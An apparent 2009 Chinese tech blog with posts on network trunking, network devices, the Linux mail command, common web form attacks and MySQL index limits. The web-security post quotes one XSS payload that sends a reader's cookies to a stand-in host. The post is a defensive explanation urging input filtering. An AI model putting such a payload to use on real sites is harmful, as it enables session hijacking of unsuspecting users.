星期六,2009-07-18 at 10:00 下午
Trunk这个词在不同的场合有好几个意思。
1、 在网络的分层结构和宽带的合理分配方面,TRUNK被解释为“端口汇聚”,是带宽扩展和链路备份的一个重要途径。TRUNK把多个物理端口捆绑在一起当作 一个逻辑端口使用,可以把多组端口的宽带叠加起来使用。TRUNK技术可以实现TRUNK内部多条链路互为备份的功能,即当一条链路出现故障时,不影响其 他链路的工作,同时多链路之间还能实现流量均衡,就像我们熟悉的打印机池和MODEM池一样。
2、在电信网络的语音级的线路中,Trunk指“主干网络、电话干线”,即两个交换局或交换机之间的连接电路或信道,它能够在两端之间进行转接,并提供必要的信令和终端设备。
3、 但是在最普遍的路由与交换领域,VLAN的端口聚合也有的叫TRUNK,不过大多数都叫TRUNKING ,如CISCO公司。
所谓的TRUNKING是用来在不同的交换机之间进行连接,以保证在跨越多个交换机上建立的同一个VLAN的成员能够相互通讯。其中交换机之间互联用的端 口就称为TRUNK端口。与一般的交换机的级联不同,TRUNKING是基于OSI第二层RUNKING技术,如果你在2个交换机上分别划分 了多个VLAN(VLAN也是基于Layer2的),那么分别在两个交换机上的VLAN10和VLAN20的各自的成员如果要互通,就需要在A交换机上设 为VLAN10的端口中取一个和交换机B上设为VLAN10的某个端口作级联连接。VLAN20也是这样。那么如果交换机上划了10个VLAN就需要分别 连10条线作级联,端口效率就太低了。 当交换机支持TRUNKING的时候,事情就简单了,只需要2个交换机之间有一条级联线,并将对应的端口设置为Trunk,这条线路就可以承载交换机上所 有VLAN的信息。这样的话,就算交换机上设了上百个个VLAN也只用1个端口就解决了。
星期六,2009-07-18 at 4:26 下午
常用网络设备:
- 中继器。信号在线路中传输时会因衰减、干扰和失真而使信号不能长距离传输。中继器能再生信号,使信号的传输距离更远。中继器工作中物理层。
- 网桥。当网络上的机器很多时,网络会因广播信号过多而造成拥塞。网桥可以把一个大的网络分成两多或多个小网络。广播信号只在小网络中传递。网桥有几种类型,有源路由网桥,透明网桥,转换式网桥、封装式网桥。透明网桥是最常用的一种网桥方式。透明网桥执行3种简单的功能:学习、转发和过滤。网桥一般都有两个以上的接口,连接不同的网络区域。网桥通过无目的地侦听所有接口来学习网络中每台设备的MAC地址,并把MAC地址和所在接口号记录到桥接表中。当不同区域的设备要通信时,网桥通过桥接表把数据从一个接口转发到另一个接口,从而实现两台设备的通信。当同区域的设备要通信时,网桥通过查看桥接表发现在同一区域(接口),网桥就不会转发该数据,数据被过滤掉了。透明网桥的学习、转发和过滤功能对于用户来说都是不可见,透明的。网桥工作在数据链路层。
- 路由器。也叫网关或中介系统,用以连接不同子网,指示到达不同子网的路径。路由器是工作在网络层的。
- 交换机。可以理解为多端口网桥,每个与交换机端口连接的设备就是一个独立的广播域。
电路交换和分组交换
- 电路交换联网方式是指当我们要通信时,需要在通信双方建立一条连接电路,这个电路可以是固定的,也可以是根据需要建立的。连接电路一旦建立,双方就固定地使用该条电路通道来传送信息。电路交换的典型应用是电话系统。当打通电话后,双方就固定地占用了一条电路进行通话(信息交换),直到电话挂断。每次打电话占用的电路都可能是不同的。
- 分组交换联网方式不会使用固定的路径来传送信息。它把要传送的信息分割成小的信息块,经由不同的路径发送到接收方。接收方把接收的分组按一定的顺序重新组合成原始信息。
- 两种交换方式都各有优缺点,在设计网络时应该使用哪种交换方式呢?判断的一个重要依据是网络媒体是共享的还是专用的。对于共享的网络来说采用分组网络能更有效地利用网络媒体,使用电路交换则会长期锁定共享网络媒体资源。分组网络由于信息通道不固定,数据分组有可能会在传输中丢失,或者出现顺序出错。这时就要靠上层的网络协议提供的功能进行重发。
- 现代的网络,电路交换和分组交换经常相结合使用。如ADSL拔号上网,使用IP数据报携带较高层的数据,而通过电路交换的电话网络与互联网联接
面向连接协议和无连接协议
- 面向连接协议需要在发送信息之前,在联网设备之间建立一条逻辑连接,如果逻辑连接建立成功则可开始进行通信。典型的面向连接的协议是TCP。
- 面向无连接的协议在发送信息前不需要与对方建立连接,直接发送。典型的无连接协议是UDP。
QoS
时延是网络性能的重要参数,通过QoS可以改善网络时延。QoS描述了数据在设备之间是如何传输的特性。QoS主要有以下几个特性:
- 预留带宽。将网络接口的一部份带宽预留给某种关健应用。
- 流量优先权。能处理分组,使较重要的连接能比其它连接有更高的优先权。
- 网络拥塞避免。该特性指监控网络中特定连接,当网络中特定部份拥塞时,对数据重新选路。
星期四,2009-07-16 at 11:12 上午
功能说明:E-mail管理程序。
语 法:mail [-iInNv][-b][-c][-f][-s][-u][收信人地址]
补充说明:mail是一个文字模式的邮件管理程序,操作的界面不像elm或pine那么容易使用,但功能尚称完整。
参 数:
-b 指定密件副本的收信人地址。
-c 指定副本的收信人地址。
-f 读取指定邮件文件中的邮件。
-i 不显示终端发出的信息。
-I 使用互动模式。
-n 程序使用时,不使用mail.rc文件中的设置。
-N 阅读邮件时,不显示邮件的标题。
-s 指定邮件的主题。
-u 读取指定用户的邮件。
-v 执行时,显示详细的信息。
星期三,2009-07-15 at 10:38 下午
有时候程序员为了偷懒或者是在无意识的情况下缺少了对外部数据的过滤,Web安全习惯上将所有用户输入的数据假定为受污染的数据(即可能带有攻击性的数据),现在比较流行的XSS(跨站脚本攻击)就是利用对用户输入过滤不完全而进行的攻击,因为用户数据过滤不完全会导致很多很多问题,我这里只是简单的介绍几种比较常见的表单及URL攻击方式,希望读者能够最大限度的注意过滤用户输入。
1)表单数据泄漏攻击
这个一般刚入行的人可能会犯错,说得通俗一点,就是该用POST方式提交数据的时候,用了GET方式提交数据,比如,用户登录时候用了GET方法,导致用户名和密码都在URL上直接显示出来了,当然假如真的傻到这种程度,这种应用大多还是属于自己玩玩的东西,不是产品。还有一种是登录等操作,在提交数据的时候被窃听或者拦截了,这种没有很好的方式去解决,最多就是利用可以在浏览器上执行的脚本,比如JavaScript对密码和用户加密后提交到服务器,而且最好采用不可逆的公共算法,在浏览器端执行的脚本如果使用自己的算法,会增加被破解的几率,当然如果你的加密程度能超过或者接近现在流行的公共加密算法,那么也是可以的:)
2)语义URL攻击
这也是利用提交的形式及参数进行攻击的,假如使用GET方式找回密码,url为:http://example.org/private.php?user=abc&email=abc@11.org,那么产生的攻击也很简单,只要将user=abc改成任意其他的存在的用户密码就会发到后面的email中,轻松获取别人密码,POST方式大体也是通过窃听方式获得提交的数据
3)文件上传攻击
文件上传造成的危害在表单攻击中是最大的,假如成功入侵,最坏的情况甚至是可以干任何想干的事情,因此对此不可小觑。常见的有大文件攻击,假如你的服务端没有做限制的话,那么你的硬盘很快就会被塞满,或者是你在客户端中只是简单的限制了一下,那些对于心怀不轨者都是摆设,太容易绕开了。假如上传的是一个可执行的脚本,在某种情况下会激活这个脚本,那么后果就不堪设想,验证上传文件的后缀和限制上传文件的种类是能避免大多数低级别的攻击者,但根本还是让存放用户上传的文件的目录没有执行权限,脚本不能执行,那么它也仅仅是一般文本而已。
4)跨站脚本攻击
跨站脚本攻击是众所周知的攻击方式之一。所有平台上的Web应用都深受其扰,PHP应用也不例外。
所有有输入的应用都面临着风险。Webmail,论坛,留言本,甚至是Blog。事实上,大多数Web应用提供输入是出于更吸引人气的目的,但同时这也会把自己置于危险之中。如果输入没有正确地进行过滤和转义,跨站脚本漏洞就产生了。
比如在一个博客平台提供商,一个心怀不轨的用户在写博客时故意在内容中插入<script> document.location = ’http://abc.example.org/steal.php?cookies=’ + document.cookie</script>,结果所有浏览这篇文章的读者的Cookie信息都在不知情的情况下发给了第三方。
5)HTTP请求欺骗攻击
所谓上有政策下有对策,很多项目为了最大程度的得到高可信度的用户输入,甚至添加了判断referer的功能,可惜这个东西十分的不靠谱,随便一个CURL就可以欺骗过去。
毕竟所有的传输都只是个协议而已,而HTTP协议本身只是负责传输,并不负责诸如安全之类的其他问题,所以过程怎么伪造都是可以的,只要攻击者足够的熟悉HTTP协议,针对HTTP协议本身的攻击,似乎目前还没有看到,虽然欺骗、攻击随处可见,方式变化多样,只要做好了过滤,多想一点再多想一点,任何攻击得到的都是一个错误页面而已
星期天,2009-07-05 at 11:50 上午
1) MyISAM存储引擎的索引键长度的总和不能超过1000个字节
2)BLOB 和TEXT类型的列只能创建前缀索引
3)MySQL目前不支持函数索引
4)使用不等于(!=或<>)的时候MySQL无法使用索引
5)过滤字段使用了函数运算(如abs(column))后,MySQL无法使用索引
6)Join语句中Join条件字段类型不一致的时候,MySQL无法使用索引
7)使用LIKE操作的时候如果条件是以通配符开始(如%ABC)时,MySQL无法使用索引
8)使用非等值查询时候,MySQL无法使用HASH索引